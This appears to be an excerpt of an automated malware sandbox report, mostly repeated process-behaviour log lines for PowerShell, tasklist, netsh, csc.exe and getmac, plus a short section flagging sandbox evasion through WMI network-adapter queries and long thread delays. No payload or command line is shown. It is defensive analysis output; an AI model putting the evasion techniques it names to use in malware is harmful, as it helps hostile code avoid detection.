Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3325	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2838	Jump to behavior
